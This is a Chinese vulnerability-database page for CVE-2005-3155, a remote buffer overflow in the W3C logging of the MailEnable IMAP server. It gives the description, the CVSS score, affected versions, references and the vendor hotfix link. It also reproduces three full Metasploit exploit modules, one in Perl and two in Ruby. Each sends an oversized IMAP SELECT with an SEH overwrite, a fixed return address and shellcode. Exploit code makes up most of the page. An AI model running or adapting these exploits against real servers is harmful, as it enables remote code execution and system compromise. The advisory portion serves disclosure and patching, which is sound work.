CVE-2005-3155
CVSS7.5
发布时间 :2005-10-05 19:02:00
修订时间 :2008-09-05 16:53:36
NMCOEP    

[原文]Buffer overflow in the W3C logging for MailEnable Enterprise 1.1 and Professional 1.6 allows remote attackers to execute arbitrary code.


[CNNVD]MailEnable IMAP超长邮箱名W3C日志记录溢出漏洞(CNNVD-200510-020)

        MailEnable是一款商业性质的POP3和SMTP服务器。
        MailEnable在处理超长的邮箱名记录操作里存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。远程攻击者通过Select命令提交超长的邮箱名,MailEnable在记录W3C日志时会触发这个漏洞,允许攻击者以系统权限执行任意代码。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:mailenable:mailenable_professional:1.6
cpe:/a:mailenable:mailenable_enterprise:1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3155
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3155
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200510-020
(官方数据源) CNNVD

- 其它链接及资源

http://www.mailenable.com/hotfix/
(PATCH)  CONFIRM  http://www.mailenable.com/hotfix/
http://secunia.com/advisories/17010
(VENDOR_ADVISORY)  SECUNIA  17010
http://www.securityfocus.com/bid/15006
(UNKNOWN)  BID  15006
http://securitytracker.com/id?1014999
(UNKNOWN)  SECTRACK  1014999

- 漏洞信息

MailEnable IMAP超长邮箱名W3C日志记录溢出漏洞
高危 缓冲区溢出
2005-10-05 00:00:00 2007-07-24 00:00:00
远程  
        MailEnable是一款商业性质的POP3和SMTP服务器。
        MailEnable在处理超长的邮箱名记录操作里存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。远程攻击者通过Select命令提交超长的邮箱名,MailEnable在记录W3C日志时会触发这个漏洞,允许攻击者以系统权限执行任意代码。
        

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        MailEnable Hotfix MEIMAPS-UPD0508221400.zip_x000D_
        http://www.mailenable.com/hotfix/MEIMAPS-UPD0508221400.zip

- 漏洞信息 (1332)

MailEnable 1.54 Pro Universal IMAPD W3C Logging BoF Exploit (EDBID:1332)
windows remote
2005-11-20 Verified
143 y0
N/A [点击下载]
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::mailenable_imap_w3c;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
  };

my $info = {
	'Name'    => 'MailEnable IMAPD W3C Logging Buffer Overflow',
	'Version'  => '$Revision: 1.1 $',
	'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
	'Arch'    => [ 'x86' ],
	'OS'      => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
	'Priv'    => 1,
	'AutoOpts'  =>
	  {
		'EXITFUNC'  => 'thread',
	  },
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 143],
		'USER'  => [1, 'DATA', 'IMAP Username'],
		'PASS'  => [1, 'DATA', 'IMAP Password'],

	  },
	'Payload' =>
	  {
		'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
		'Space'     => 600,
		'BadChars'  => "\x00\x0a\x0d\x20",
		'Keys'      => ['+ws2ord'],
	  },
	'Description'  => Pex::Text::Freeform(qq{
		This module exploits a buffer overflow in the W3C logging
	functionality of the MailEnable IMAPD service. Logging is not
	enabled by default and this exploit requires a valid username
	and password to exploit the flaw. MailEnable Professional version
	1.6 and prior and MailEnable Enterprise version 1.1 and prior are
	affected.    
}),
	'Refs'  =>
	  [
		['BID', 15006],
	  ],
	'Targets' =>
	  [
		['MailEnable 1.54 Pro Universal', 0x1001c019], #MEAISP.DLL
	  ],
	'Keys' => ['imap'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

	return($self);
}

sub Check {
	my ($self) = @_;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => 25,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return $self->CheckCode('Connect');
	}

	$s->Send("QUIT\r\n");
	my $res = $s->Recv(-1, 20);
	$s->Close();

	if ($res !~ /MailEnable Service, Version: 0-1\.54/) {
		$self->PrintLine("[*] This server does not appear to be vulnerable.");
		return $self->CheckCode('Safe');
	}

	$self->PrintLine("[*] Vulnerable installation detected :-)");
	return $self->CheckCode('Detected');
}

sub Exploit {
	my $self = shift;

	my $targetHost  = $self->GetVar('RHOST');
	my $targetPort  = $self->GetVar('RPORT');
	my $targetIndex = $self->GetVar('TARGET');
	my $user        = $self->GetVar('USER');
	my $pass        = $self->GetVar('PASS');
	my $encodedPayload = $self->GetVar('EncodedPayload');
	my $shellcode   = $encodedPayload->Payload;
	my $target = $self->Targets->[$targetIndex];

	my $sock = Msf::Socket::Tcp->new(
		'PeerAddr' => $targetHost,
		'PeerPort' => $targetPort,
	  );
	if($sock->IsError) {
		$self->PrintLine('Error creating socket: ' . $sock->GetError);
		return;
	}

	my $resp = $sock->Recv(-1);
	chomp($resp);
	$self->PrintLine('[*] Got Banner: ' . $resp);

	my $sploit = "a01 LOGIN $user $pass\r\n";
	$sock->Send($sploit);
	my $resp = $sock->Recv(-1);
	if($sock->IsError) {
		$self->PrintLine('Socket error: ' . $sock->GetError);
		return;
	}
	if($resp !~ /^a01 BAD LOGIN-/) {
		$self->PrintLine('Login error: ' . $resp);
		return;
	}
	$self->PrintLine('[*] Logged in, sending overflow');

	my $splat = Pex::Text::AlphaNumText(6196);
	$sploit =
	  "a01 SELECT ". $splat.
	  "\xeb\x06".  pack('V', $target->[1]).
	  $shellcode. "\r\n";

	$sock->Send($sploit);

	my $resp = $sock->Recv(-1);
	if(length($resp)) {
		$self->PrintLine('[*] Got response, bad: ' . $resp);
	}

	return;

}

1;

# milw0rm.com [2005-11-20]
		

- 漏洞信息 (16480)

MailEnable IMAPD W3C Logging Buffer Overflow (EDBID:16480)
windows remote
2010-06-15 Verified
0 metasploit
N/A [点击下载]
##
# $Id: mailenable_w3c_select.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Imap
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MailEnable IMAPD W3C Logging Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the W3C logging
				functionality of the MailEnable IMAPD service. Logging is
				not enabled by default and this exploit requires a valid
				username and password to exploit the flaw. MailEnable
				Professional version 1.6 and prior and MailEnable Enterprise
				version 1.1 and prior are affected.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2005-3155'],
					[ 'OSVDB', '19842'],
					[ 'BID', '15006'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
				],
			'DisclosureDate' => 'Oct 03 2005',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		buf = rand_text_alphanumeric(6196, payload_badchars)
		seh = generate_seh_payload(target.ret)
		req = 'a01 SELECT ' + buf + seh + "\r\n"
		sock.put(req)

		handler
		disconnect
	end

end
		

- 漏洞信息 (F83006)

MailEnable IMAPD W3C Logging Buffer Overflow (PacketStormID:F83006)
2009-11-26 00:00:00
MC  metasploit.com
exploit,overflow
CVE-2005-3155
[点击下载]

This Metasploit module exploits a buffer overflow in the W3C logging functionality of the MailEnable IMAPD service. Logging is not enabled by default and this exploit requires a valid username and password to exploit the flaw. MailEnable Professional version 1.6 and prior and MailEnable Enterprise version 1.1 and prior are affected.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Imap
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'MailEnable IMAPD W3C Logging Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the W3C logging
				functionality of the MailEnable IMAPD service. Logging is
				not enabled by default and this exploit requires a valid
				username and password to exploit the flaw. MailEnable
				Professional version 1.6 and prior and MailEnable Enterprise
				version 1.1 and prior are affected.
					
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
				    	[ 'CVE', '2005-3155'],
					[ 'OSVDB', '19842'],
					[ 'BID', '15006'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},			
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
				],
			'DisclosureDate' => '',
			'DefaultTarget' => 0))
	end
	
	def check
		connect
		disconnect
		
		if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end
	
	def exploit
		connect_login
		
		buf = rand_text_alphanumeric(6196, payload_badchars) 
		seh = generate_seh_payload(target.ret)
		req = 'a01 SELECT ' + buf + seh + "\r\n"
		sock.put(req)
		
		handler
		disconnect
	end

end
    

- 漏洞信息

19842
MailEnable IMAP Server W3C Logging Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public, Exploit Commercial Vendor Verified

- 漏洞描述

A buffer overflow exists in MailEnable. The W3C logging component fails to validate unspecified data resulting in a stack overflow. With a specially crafted request, a remote authenticated attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-10-03 Unknow
2005-10-07 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, MailEnable has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站